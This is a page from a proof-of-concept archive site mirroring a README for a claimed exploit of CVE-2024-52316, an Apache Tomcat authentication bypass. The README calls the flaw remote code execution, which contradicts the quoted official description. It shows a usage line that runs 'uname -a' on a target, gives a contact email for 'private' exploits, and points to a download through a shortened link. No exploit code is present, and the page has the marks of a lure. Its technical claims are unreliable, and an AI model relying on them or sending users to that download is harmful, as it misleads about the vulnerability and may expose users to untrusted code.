Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-52316 PoC — Apache Tomcat: Authentication bypass when using Jakarta Authentication API

Source
Associated Vulnerability
Title:Apache Tomcat: Authentication bypass when using Jakarta Authentication API (CVE-2024-52316)
Description:Unchecked Error Condition vulnerability in Apache Tomcat. If Tomcat is configured to use a custom Jakarta Authentication (formerly JASPIC) ServerAuthContext component which may throw an exception during the authentication process without explicitly setting an HTTP status to indicate failure, the authentication may not fail, allowing the user to bypass the authentication process. There are no known Jakarta Authentication components that behave in this way. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.0-M26, from 10.1.0-M1 through 10.1.30, from 9.0.0-M1 through 9.0.95. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other EOL versions may also be affected. Users are recommended to upgrade to version 11.0.0, 10.1.31 or 9.0.96, which fix the issue.
Readme
# CVE-2024-52316: Unchecked Error Condition (CWE-391)

## Overview

A vulnerability was found in Apache Tomcat up to 9.0.95/10.1.30/11.0.0-M26 . It is rated critical. This affects an unknown functionality of the ServerAuthContext Component . By manipulating with an unknown input, a remote code execution vulnerability can be exploited. CWE defines the problem as CWE-391 .


## Details
+ **CVE ID:** CVE-2024-52316
+ **Published:** 2024-11-18
+ **Impact:** Critical
+ **Exploit Availability:** Not public, only private.
+ **CVSS:** 9.8


## Vulnerability Description

Unchecked Error Condition vulnerability in Apache Tomcat. If Tomcat is configured to use a custom Jakarta Authentication (formerly JASPIC) ServerAuthContext component which may throw an exception during the authentication process without explicitly setting an HTTP status to indicate failure, the authentication may not fail, allowing the user to bypass the authentication process.


## Affected Versions

**Apache Tomcat 11.0.0-M1 to 11.0.0-M26**

**Apache Tomcat 10.1.0-M1 to 10.1.30**

**Apache Tomcat 9.0.0-M1 to 9.0.95**


## Usage
```
python CVE-2024-52316.py -h 10.10.10.10 -c 'uname -a'
```

## Contact
For inquiries, please contact famixcm@thesecure.biz

## Exploit
**[Download](bit.ly/4fRxv1Y)**
File Snapshot

[4.0K] /data/pocs/7cb0081b069e6cc53c57fd431b20d33f1ab7dd9a └── [1.2K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →